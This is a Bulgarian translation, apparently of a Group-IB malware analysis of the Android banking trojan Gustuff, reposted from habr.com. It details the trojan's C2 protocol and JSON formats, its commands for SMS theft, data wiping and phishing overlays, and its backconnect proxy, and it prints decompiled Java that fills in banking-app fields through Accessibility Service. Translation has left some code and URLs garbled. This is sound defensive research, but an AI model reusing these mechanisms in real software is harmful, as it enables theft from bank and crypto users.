Как Android-троян Gustuff си набавя средства (фиат и крипто) от вашите сметки

Как Android-троян Gustuff си набавя средства (фиат и крипто) от вашите сметки

Съвсем наскоро Group-IB съобщи за активността на мобилния Android-троян Gustuff. Той работи изключително на международните пазари, атакувайки клиентите на 100-те най-големи чуждестранни банки, потребители на 32 крипто портфейла, както и на големи ресурси за електронна търговия. Разработчикът на Gustuff е рускоязичен киберпрестъпник с никнейм Bestoffer. Още преди време той възхваляваше своя троян като „сериозен продукт за хора с познания и опит.“

Специалистът по анализ на зловредния код на Group-IB Иван Писарев в своето изследване подробно описва как работи Gustuff и в какво се състои неговата опасност.

На кого се цели Gustuff

Gustuff принадлежи към новото поколение зловредни програми с напълно автоматизирани функции. Според разработчика, троянът е нова подобрена версия на зловредната програма AndyBot, която от ноември 2017 година атакува телефони с операционна система Android и краде пари чрез фалшиви уеб форми, които се маскират под мобилни приложения на известни международни банки и платежни системи. Bestoffer съобщи, че цената на наемането на „Gustuff Bot“ е била 800 $ на месец.

Анализът на сample Gustuff показа, че потенциално троянът е насочен към клиенти, използващи мобилни приложения на най-големите банки, като Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, както и на крипто портфейли като Bitcoin Wallet, BitPay, Cryptopay, Coinbase и др.

Първоначално създаден като класически банков троян, текущата версия на Gustuff значително е разширила списъка с потенциални обекти за атака. Освен Android приложения на банки, финтех компании и крипто услуги, Gustuff е насочен и към потребителите на приложения за маркетплейси, онлайн магазини, платежни системи и месенджъри. В частност, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut и други.

Входна точка: разчет на масово заразяване

За Gustuff е характерен "класическият" вектор на проникване в Android смартфони чрез SMS разпространение със ссылки на APK. При заразяване на Android устройство с троян, по команда на сървъра може да се извърши допълнително разпространение на Gustuff сред контактите на заразения телефон или в базата данни на сървъра. Функционалните възможности на Gustuff са насочени към масово заразяване и максимизиране на печалбите за неговите оператори – той разполага с уникална функция за "автозалива", която се интегрира в легитимни мобилни банкови приложения и криптокошелки, което позволява да се ускори и мащабира кражбата на средства.

Изследването на трояна показа, че функцията за автозалива е реализирана чрез Accessibility Service — услуга за хора с ограничени възможности. Gustuff не е първият троян, който успешно заобикаля защитата срещу взаимодействието с елементите на прозорците на други приложения с помощта на този сервис на Android. Въпреки това, използването на Accessibility Service в комбинация с автозалива остава сравнително рядко явление.

След инсталирането на Gustuff на телефона на жертвата, той, използвайки Accessibility Service, получава възможност за взаимодействие с елементите на прозорците на други приложения (банкови, криптовалутни, а също и приложения за онлайн пазаруване, обмен на съобщения и др.), изпълнявайки необходимите действия за злонамерителите. Например, по команда на сървъра, троянът може да натиска бутони и да променя стойностите на текстовите полета в банковите приложения. Използването на механизма Accessibility Service позволява на трояна да заобикаля механизмите за защита, използвани от банките срещу мобилни трояни от предишното поколение, както и промените в политиката за сигурност, внедрени от Google в новите версии на операционната система Android. Така Gustuff "умее" да изключва защитата на Google Protect: според уверенията на автора, тази функция сработва в 70% от случаите.

Как Android-троян Gustuff си набавя средства (фиат и крипто) от вашите сметки

Също така Gustuff може да показва фалшиви PUSH-уведомления с иконки на легитимни мобилни приложения. Потребителят кликва на PUSH-уведомлението и вижда фишинг прозорец, свален от сървъра, където сам въвежда исканите данни на банковата карта или криптокошелка. В друг сценарий на работа Gustuff се отваря приложението, от името на което беше показано PUSH-уведомлението. В този случай зловредният софтуер по команда на сървъра чрез Accessibility Service може да попълва полетата на формата на банковото приложение за измамна транзакция.

Функционалните възможности на Gustuff също така включват изпращане на информация на сървъра относно заразеното устройство, възможността за четене/изпращане на SMS съобщения, изпращане на USSD заявки, стартиране на SOCKS5 Proxy, преминаване по линк, изпращане на файлове (включително фотоснимки на документи, екранни снимки, снимки) на сървъра, нулиране на устройството до заводските настройки.

Анализ на зловредния софтуер

Преди инсталацията на зловредно приложение, операционната система Android показва на потребителя прозорец, съдържащ списък на исканите от Gustuff разрешения:

Как Android-троян Gustuff си набавя средства (фиат и крипто) от вашите сметки
Инсталацията на приложението ще се извърши само след получаване на съгласието на потребителя. След стартирането на приложението, троянският вирус ще покаже на потребителя прозорец:

Как Android-троян Gustuff си набавя средства (фиат и крипто) от вашите сметки
След което ще изтрие своята иконка.

Gustuff е опакован, според автора, с опаковчик от FTT. След стартиране приложението периодично се свързва с CnC-сървъра за получаване на команди. В няколко изследвани от нас файла като управляващ сървър е използван IP адрес 88.99.171[.]105 (в по-нататъшното означаване ще наричаме <%CnC%>).

След стартиране програмата започва да изпраща съобщения на сървъра http:///api/v1/get.php.

В отговор се очаква JSON от следния формат:

{
    "results" : "OK",
    "command":{
        "id": "",
        "command":"",
        "timestamp":"",
        "params":{
		
        },
    },
}

При всяко запитване приложението изпраща информация за заразеното устройство. Форматът на съобщението е представен по-долу. Струва си да се отбележи, че полетата full, extra, apps и permission – са опционални и ще бъдат изпратени само в случай на команда-запитване от CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Съхраняване на конфигурационни данни

Gustuff съхранява важна информация за работа в preference файла. Името на файла, както и имената на параметрите в него – резултат от изчислението на MD5 сума от стринг 15413090667214.6.1, където <%name%> — оригиналното име-стойност. Python интерпретацията на функцията за генериране на име:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

По-нататък ще обозначаваме като nameGenerator(input).
Така че, името на първия файл: nameGenerator(«API_SERVER_LIST»), той съдържа стойности със следните имена:

Име на променливатаСтойност
nameGenerator(«API_SERVER_LIST»)Съдържа списък с CnC адреси под формата на масив.
nameGenerator(«API_SERVER_URL»)Съдържа CnC адрес.
nameGenerator(«SMS_UPLOAD»)Флагът по подразбиране е зададен. Ако флагът е зададен – изпраща SMS съобщения на CnC.
nameGenerator(«SMS_ROOT_NUMBER»)Телефонен номер, на който ще бъдат изпратени SMS-съобщенията, получени от заразеното устройство. По подразбиране null.
nameGenerator(«SMS_ROOT_NUMBER_RESEND»)Флагът по подразбиране е нулиран. Ако е зададен – при получаване на SMS от заразеното устройство, той ще бъде изпратен на root-номера.
nameGenerator(«DEFAULT_APP_SMS»)Флагът по подразбиране е нулиран. Ако този флаг е зададен – приложението ще обработва входящите SMS-съобщения.
nameGenerator(«DEFAULT_ADMIN»)Флагът по подразбиране е нулиран. Ако флагът е зададен – приложението има администраторски права.
nameGenerator(«DEFAULT_ACCESSIBILITY»)Флагът по подразбиране е нулиран. Ако флагът е зададен – е активирана услуга, използваща Accessibility Service.
nameGenerator(«APPS_CONFIG»)JSON-обект, съдържащ списък с действия, които трябва да се извършат при задействане на Accessibility-събитие, свързано с определено приложение.
nameGenerator(«APPS_INSTALLED»)Съхранява списък на приложенията, инсталирани на устройството.
nameGenerator(«IS_FIST_RUN»)Флагът при първото стартиране се нулира.
nameGenerator(«UNIQUE_ID»)Съдържа уникален идентификатор. Генерира се при първото стартиране на бота.

Модул за обработка на команди от сървъра

Приложението съхранява адресите на CnC-сървърите под формата на масив от кодирани по Base85 строки. Списъкът на CnC – сървъри може да бъде променен при получаване на съответната команда, в такъв случай адресите ще се съхраняват в preference-файла.

В отговор на заявката, сървърът изпраща на приложението команда. Следва да се отбележи, че командите и параметрите са представени в JSON-формат. Приложението може да обработва следните команди:

КомандаОписание
forwardStartДа започне изпращането на получените от заразеното устройство SMS-съобщения на CnC-сървъра.
forwardStopДа спре изпращането на получените от заразеното устройство SMS-съобщения на CnC-сървъра.
ussdRunДа изпълни USSD-заявка. Номерът, на който трябва да се извърши USSD-заявката, се намира в JSON-полето «number».
sendSmsДа изпрати едно SMS-съобщение (при необходимост съобщението «се разчупва» на части). В качеството на параметър командата приема JSON-обект, съдържащ полетата «to» – номер на получателя и «body» – текст на съобщението.
sendSmsAbДа се изпратят SMS-съобщения (при необходимост съобщението «се разчупва» на части) на всички от списъка с контакти на заразеното устройство. Интервалът между изпращането на съобщенията е 10 секунди. Текстът на съобщението се намира в JSON-полето «body»
sendSmsMassИзпратете SMS съобщения (при необходимост съобщението да се разделя на части) на контактите, посочени в параметрите на командата. Интервалът между изпращането на съобщенията е 10 секунди. Като параметър командата приема JSON масив (поле „sms“), елементите на който съдържат полета „to“ — номер на получателя и „body“ — съдържание на съобщението.
changeServerТази команда като параметър може да приеме стойност с ключ „url“ — тогава ботът ще промени стойността на nameGenerator(“SERVER_URL”), или „array“ — тогава ботът ще запише масив в nameGenerator(“API_SERVER_LIST”). По този начин приложението променя адреса на CnC сървърите.
adminNumberКомандата е предназначена за работа с root-номер. Командата приема JSON обект със следните параметри: „number“ — променете nameGenerator(“ROOT_NUMBER”) на получената стойност, „resend“ — променете nameGenerator(“SMS_ROOT_NUMBER_RESEND”), „sendId“ — изпратете на nameGenerator(“ROOT_NUMBER”) uniqueID.
updateInfoИзпратете информация за заразеното устройство на сървера.
wipeDataКомандата е предназначена за изтриване на потребителски данни. В зависимост от името, с което е стартирано приложението, то извършва или пълно изтриване на данни с рестартиране на устройството (първичен потребител), или изтриване само на потребителските данни (вторичен потребител).
socksStartСтартирайте Proxy модула. Работата на модула е описана в отделен раздел.
socksStopСпиране на работата на Proxy модула.
openLinkОтворете връзката. Връзката се намира в JSON параметъра под ключ „url“. За отваряне на връзката се използва „android.intent.action.VIEW“.
uploadAllSmsИзпратете на сървера всички получени SMS съобщения от устройството.
uploadAllPhotosИзпратете на URL изображения от заразеното устройство. URL идва като параметър.
uploadFileИзпратете на URL файл от заразеното устройство. URL идва като параметър.
uploadPhoneNumbersИзпратете на сървера телефонни номера от списъка с контакти. Ако като параметър получим JSON обект със стойност с ключ „ab“, приложението получава списък с контакти от телефонния указател. Ако като параметър получим JSON обект с ключ „sms“, приложението чете списъка с контакти от изпращачите на SMS съобщения.
changeArchiveПриложението изтегля файл от адреса, предоставен като параметър с ключ "url". Изтегленият файл се запазва с името "archive.zip". След това приложението разархивира файла, при необходимост използвайки паролата за архива "b5jXh37gxgHBrZhQ4j3D". Разархивираните файлове се запазват в директорията [external storage]/hgps. В тази директория приложението съхранява уеб-фалшификати (описано по-долу).
actionsКомандата е предназначена за работа с Action Service, който е описан в отделен раздел.
testНищо не прави.
изтеглиКомандата е предвидена за изтегляне на файл от отдалечен сървър и запазването му в директорията "Downloads". URL и името на файла се предоставят като параметри в JSON-обекта с полета "url" и "fileName".
премахниПремахва файл от директорията "Downloads". Името на файла се предоставя в JSON-параметъра с ключ "fileName". Стандартното име на файла е "tmp.apk".
известиеПоказва уведомление с текстове за описание и заглавие, определяни от управляващия сървър.

Формат на командата известие:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Уведомлението, създавано от изследвания файл, изглежда идентично на уведомленията, създавани от приложението, посочено в полето app. Ако стойността на полето openApp — True, при отваряне на уведомлението се стартира приложението, посочено в полето app. Ако стойността на полето openApp — False, тогава:

  • се отваря фишинг прозорец, чието съдържание се изтегля от директорията /hgps/
  • се отваря фишинг прозорец, чието съдържание се изтегля от сървъра ?id=&app=
  • се отваря фишинг прозорец, замаскиран като Google Play карта, с възможност за въвеждане на данни от картата.

Резултатът от изпълнението на всяка команда приложението изпраща на set_state.php под формата на JSON-обект със следния формат:

{
    "command":
    {
        "command":,
        "id":,
        "state":
    }
    "id":
}

ActionsService
В списъка с команди, обработвани от приложението, влиза действие. При получаване на команда модулът за обработка на команди се обръща към този сервис с цел изпълнение на разширена команда. Като параметър сервисът приема JSON-обект. Сервисът може да изпълнява следните команди:

1. PARAMS_ACTION — при получаване на такава команда, услугата първо получава от JSON параметъра стойноста по ключа Type, която може да бъде следната:

  • serviceInfo – подкомандата получава от JSON параметъра стойноста по ключа includeNotImportant. Ако флагът е равен на True — приложението задава флаг FLAG_ISOLATED_PROCESS на услугата, която използва Accessibility Service. Така услугата ще бъде стартирана в отделен процес.
  • root — получава и изпраща на сървъра информация за прозореца, който в момента е на фокус. Приложението получава информацията чрез класа AccessibilityNodeInfo.
  • админ — изисква права на администратор.
  • delay — спира работата на ActionsService за времето в милисекунди, което е посочено в параметъра с ключ "data".
  • windows — изпраща списък с видимите за потребителя прозорци.
  • install — инсталира приложението на инфектирано устройство. Името на пакета — архивът е в ключа "fileName". Самият архив се намира в директорията Downloads.
  • global – подкомандата е предназначена за извършване на преход от текущия прозорец:
    • к менюто Quick Settings
    • назад
    • домой
    • к уведомленията
    • к прозореца с наскоро отворени приложения

  • launch — стартира приложението. Името на приложението идва като параметър по ключа data.
  • sounds — променя режима на звук на тишина.
  • unlock — включва осветлението на екрана и клавиатурата на пълна яркост. Приложението изпълнява това д действие чрез WakeLock, посочвайки като таг стринг [Application label]:INFO
  • permissionOverlay — функцията не е реализирана (отговорът на изпълнението на командата е {"message":"Not support"} или {"message":"low sdk"})
  • gesture — функцията не е реализирана (отговорът на изпълнението на командата е {"message":"Not support"} или {"message":"Low API"})
  • permissions — тази команда е необходима за заявяване на права за приложението. Въпреки това, функцията за заявка не е реализирана, следователно командата няма смисъл. Списъкът със заявените права идва като JSON масив с ключа "permissions". Стандартен списък:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • open — извежда на екрана фишинг прозорец. В зависимост от параметъра, получен от сървъра, приложението може да покаже следните фишинг прозорци:
    • Показва фишинг прозорец, чийто съдържание е записано в файла в директорията /hgps/. Резултатът от взаимодействието на потребителя с прозореца ще бъде изпратен на адреса /records.php
    • Показване на фишинг прозорец, чийто съдържание се зарежда предварително от адрес ?id=&app=. Резултатът от взаимодействието на потребителя с прозореца ще бъде изпратен на адреса /records.php
    • Показване на фишинг прозорец, маскиран като Google Play Card.

  • интерактивен — командата е предназначена за взаимодействие с елементите на прозорците на други приложения чрез AcessibilityService. За взаимодействие в програмата е реализиран специален сервиз. Изследваното приложение може да взаимодейства с прозорците:
    • Активен в момента. В такъв случай параметърът съдържа id или текст (наименование) на обекта, с който трябва да взаимодействате.
    • Видими за потребителя в момента на изпълнение на командата. Приложението избира прозорците по id.

    След получаване на обектите AccessibilityNodeInfo за интересните елементи на прозореца, приложението, в зависимост от параметрите, може да извърши действия:

    • focus — да установи фокуса върху обекта.
    • click — да кликне върху обекта.
    • actionId — да извърши действие по ID.
    • setText — да промени текста на обекта. Промяната на текста може да бъде направена по два начина: да се извърши действие ACTION_SET_TEXT (ако версията на Android на заразеното устройство е по-ниска или равна на LOLLIPOP), или като се постави текста в буфера и след това се вмъкне в обекта (за версии по-високи). Тази команда може да бъде използвана за промяна на данни в банково приложение.

2. PARAMS_ACTIONS — същото като и PARAMS_ACTION, само че идва JSON-масив от команди.

Изглежда, че на много хора ще им бъде интересно как изглежда функцията за взаимодействие с елементите на прозореца на приложението. По този начин е реализирана тази функционална възможност в Gustuff:

булеви интерактивни действия(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Функция за замяна на текст:

булеви performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    булеви резултат;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        резултат = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        резултат = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            резултат = false;
        }
    }
    return резултат;
}

По този начин, при правилна конфигурация, управляващият сървър Gustuff може да попълва текстовите полета в банковото приложение и да натиска необходимите бутони за извършване на транзакция. Троянският кон дори не се нуждае от авторизация в приложението — достатъчно е да изпрати команда за демонстрация на PUSH-известие с последващо отваряне на преди това инсталираното банково приложение. Потребителят сам ще премине авторизация, след което Gustuff ще може да извърши автоматично запълване.

Модул за обработка на SMS-съобщения

Приложението задава обработчик на събития при получаване на SMS-съобщения от заразеното устройство. Изследваното приложение може да получава команди от оператора, които пристигат в тялото на SMS-съобщението. Командите идват във формат:

7!5=<%Base64 encoded command%>

Приложението търси във всички входящи SMS-съобщения низ 7!5=, при откритие на реда – декодира от Base64 стринг с отместване 4 и изпълнява команда. Командите са аналогични на командите с CnC. Резултатът от изпълнението се изпраща на същия номер, от който е получена командата. Формат на отговора:

7*5=<%Base64 encode of «result_code command»%>

Опционално приложението може да изпраща всички получавани съобщения на Root-номер. За тази цел в preference-файла трябва да бъде указан Root-номер и зададен флаг за пренасочване на съобщенията. SMS-съобщението се изпраща на номера на нападателя в формат:

Също опционално приложението може да изпраща съобщения на CnC. SMS-съобщението се изпраща на сървъра в JSON-формат:

{
    "id":,
    "sms":
    {
        "text":,
        "number":,
        "date":
    }
}

Ако е зададен флаг nameGenerator(«DEFAULT_APP_SMS») – приложението спира обработката на SMS-съобщението и изчиства списъка с входящи съобщения.

Proxy-модул

В изследваното приложение присъства Backconnect Proxy модул (в по-нататъшно наричан Proxy-модул), който има отделен клас, включващ статични полета с конфигурация. Конфигурационните данни се съхраняват в семпла в открит вид:

Как Android-троян Gustuff си набавя средства (фиат и крипто) от вашите сметки

Всички действия, извършвани от Proxy-модула, се логват в файлове. За това приложението в External Storage създава директория с име «logs» (поле ProxyConfigClass.logsDir в конфигурационния клас), в която се съхраняват лог-файловете. Логването става в файлове с имена:

  1. main.txt – в този файл се логва работата на класа с име CommandServer. По-нататък, логването на реда str в този файл ще обозначаваме като mainLog(str).
  2. session.txt — в този файл се съхраняват лог-данни, свързани с определена сесия на проксиране. По-нататък, логването на реда str в този файл ще обозначаваме като sessionLog (str).
  3. server.txt – в този файл се логват всички данни, записвани в по-гореописаните файлове.

Формат на лог-данните:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Възникващите по време на работа на Proxy-модула изключения също се логват във файл. За това приложението форматира JSON-обект с формат:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

След което конвертира в стрингова форма и логира.

Стартирането на Proxy модула се осъществява след получаване на съответната команда. При получаване на команда за стартиране на Proxy модула, приложението стартира услуга с наименование MainService, която отговаря за управлението на работата на Proxy модула – неговото стартиране и спиране.

Стъпки за стартиране на услугата:

1. Стартира таймер, който се включва веднъж в минута и проверява активността на Proxy модула. Ако модулът не е активен – стартира го.
Също така при задействането на събитие android.net.conn.CONNECTIVITY_CHANGE се стартира Proxy модула.

2. Приложението създава wake-lock с параметър PARTIAL_WAKE_LOCK и го задържа. По този начин не позволява CPU на устройството да премине в спящ режим.

3. Стартира класа за обработка на команди на Proxy модула, предварително логирайки реда mainLog("start server") и

Server::start() host[], commandPort[], proxyPort[]

където proxy_cnc, command_port и proxy_port – параметри, получени от конфигурацията на Proxy сървъра.

Класът за обработка на команди носи наименованието CommandConnection. Веднага след стартиране извършва следните действия:

4. Свързва се с ProxyConfigClass.host: ProxyConfigClass.commandPort и изпраща данните за заразеното устройство в JSON формат:

{
    "id":,
    "imei":,
    "imsi":,
    "model":,
    "manufacturer":,
    "androidVersion":,
    "country":,
    "partnerId":,
    "packageName":,
    "networkType":,
    "hasGsmSupport":,
    "simReady":,
    "simCountry":,
    "networkOperator":,
    "simOperator":,
    "version":
}

Където:

  • id – идентификатор, опитва се да получи стойността от файл с Shared Preference на име "x" с полето "id". Ако не успее да получи това значение – генерира ново. Така Proxy модулът има своя идентификатор, който се генерира аналогично на Bot ID.
  • imei – IMEI на устройството. Ако в процеса на получаване на стойността възникне грешка – вместо това поле ще бъде записано текстово съобщение за грешка.
  • imsi — Международна мобилна идентичност на абонат. Ако в процеса на получаване на стойността е възникнала грешка, вместо тази стойност ще бъде записано текстово съобщение за грешка.
  • model — Името на крайния продукт, виждано от крайния потребител.
  • manufacturer — Производителят на продукта/хардуера (Build.MANUFACTURER).
  • androidVersion — низ в формата „ (),“
  • country — текущото местоположение на устройството.
  • partnerId – празен низ.
  • packageName – име на пакета.
  • networkType — типът на текущото мрежово свързване (пример: „WIFI“, „MOBILE“). В случай на грешка, връща null.
  • hasGsmSupport – true – ако телефонът поддържа GSM, иначе false.
  • simReady – състояние на SIM картата.
  • simCountry — ISO код на страната (на основание на доставчика на SIM картата).
  • networkOperator — наименование на оператора. Ако по време на получаване на стойността е възникнала грешка, вместо тази стойност ще бъде записано текстово съобщение за грешка.
  • simOperator — Името на доставчика на услуги (SPN). Ако в процеса на получаване на стойността е възникнала грешка, вместо тази стойност ще бъде записано текстово съобщение за грешка.
  • version — това поле се съхранява в конфигурационния клас, за изследваните версии на бота е равно на „1.6“.

5. Преминава в режим на изчакване на команди от сървъра. Командите от сървъра пристигат в следния формат:

  • 0 offset – команда
  • 1 offset – sessionId
  • 2 offset – дължина
  • 4 offset — данни

При получаване на команда приложението регистрира:
mainLog("Header { sessionId], type[], length[] }")

Възможни са следните команди от сървера:

NameКомандаDataОписание
connectionId0Идентификатор на връзкатаСъздаване на нова връзка
SLEEP3ВремеСпиране на работата на Proxy модула
PING_PONG4Изпращане на PONG съобщение

PONG съобщението се състои от 4 байта и изглежда по следния начин: 0x04000000.

При получаване на команда connectionId (за създаване на нова връзка) CommandConnection създава екземпляр на клас ProxyConnection.

  • В проксирането участват два класа: ProxyConnection и end. При създаването на класа ProxyConnection се осъществява връзка с адреса ProxyConfigClass.host: ProxyConfigClass.proxyPort и се предава JSON обект:

 {
    "id":
}

В отговор сървърът изпраща SOCKS5 съобщение, което съдържа адреса на отдалечения сървър, с който трябва да се установи връзка. Взаимодействието с този сървър протича чрез класа end. Схематично установяването на връзката може да бъде представено по следния начин:

Как Android-троян Gustuff си набавя средства (фиат и крипто) от вашите сметки

Мрежови взаимодействия

За предотвратяване на анализа на трафика от мрежови сниффери, взаимодействието между CnC-сервера и приложението може да бъде защитено чрез SSL протокол. Всички предавани данни както от сървера, така и към сървера са представени в JSON формат. Приложението по време на работа извършва следните заявки:

  • http:///api/v1/set_state.php — резултат от изпълнението на команда.
  • http:///api/v1/get.php — получаване на команда.
  • http:///api/v1/load_sms.php — изтегляне на SMS съобщения от заразеното устройство.
  • http:///api/v1/load_ab.php — изтегляне на списък с контакти от заразеното устройство.
  • http:///api/v1/aevents.php – заявката се извършва при актуализиране на параметрите, записани в preference файла.
  • http:///api/v1/set_card.php — изтегляне на данни, получени чрез фишинг прозорец, който се Маскира като Google Play Market.
  • http:///api/v1/logs.php – изтегляне на лог данни.
  • http:///api/v1/records.php – изтегляне на данни, получени чрез фишинг прозорци.
  • http:///api/v1/set_error.php – уведомление за възникнала грешка.

Препоръки

С цел защита на своите клиенти от заплахи от мобилни троянци, компаниите трябва да използват комплексни решения, които позволяват наблюдение и предупреждение за злонамерена дейност без инсталиране на допълнителен софтуер на устройствата на потребителите.

За това, подписните методи за откриване на мобилни троянци трябва да се усилват с технологии за анализ на поведението както на клиента, така и на самото приложение. Защитата трябва също така да включва функция за идентифициране на устройства с помощта на технология за цифров отпечатък, което ще позволи да се разбере, когато сметката се използва от нетипично устройство и вече е попаднала в ръцете на измамника.

Съществен момент – наличието на възможност за крос-канален анализ, който позволява на компаниите да контролират рисковете, произтичащи не само от интернет канала, но и от мобилния канал, например, в приложения за мобилно банкиране, операции с криптовалути и всякакви други, където може да се осъществи финансова транзакция.

Правила за безопасност за потребителите:

  • да не инсталират приложения за мобилно устройство с ОС Android от каквито и да било източници, освен Google Play, да обръщат особено внимание на изискуемите от приложението права;
  • да инсталират редовно актуализации на ОС Android;
  • да обърнете внимание на разширенията на качените файлове;
  • да не посещавате подозрителни ресурси;
  • да не кликвате на линкове, получени в SMS съобщения.

С участието на Семена Рогачева, младши специалист по изследване на злонамерен код в Лабораторията за компютърна криминалистика на Group-IB.

Източник: habr.com

Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри 🔥 Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри | ProHoster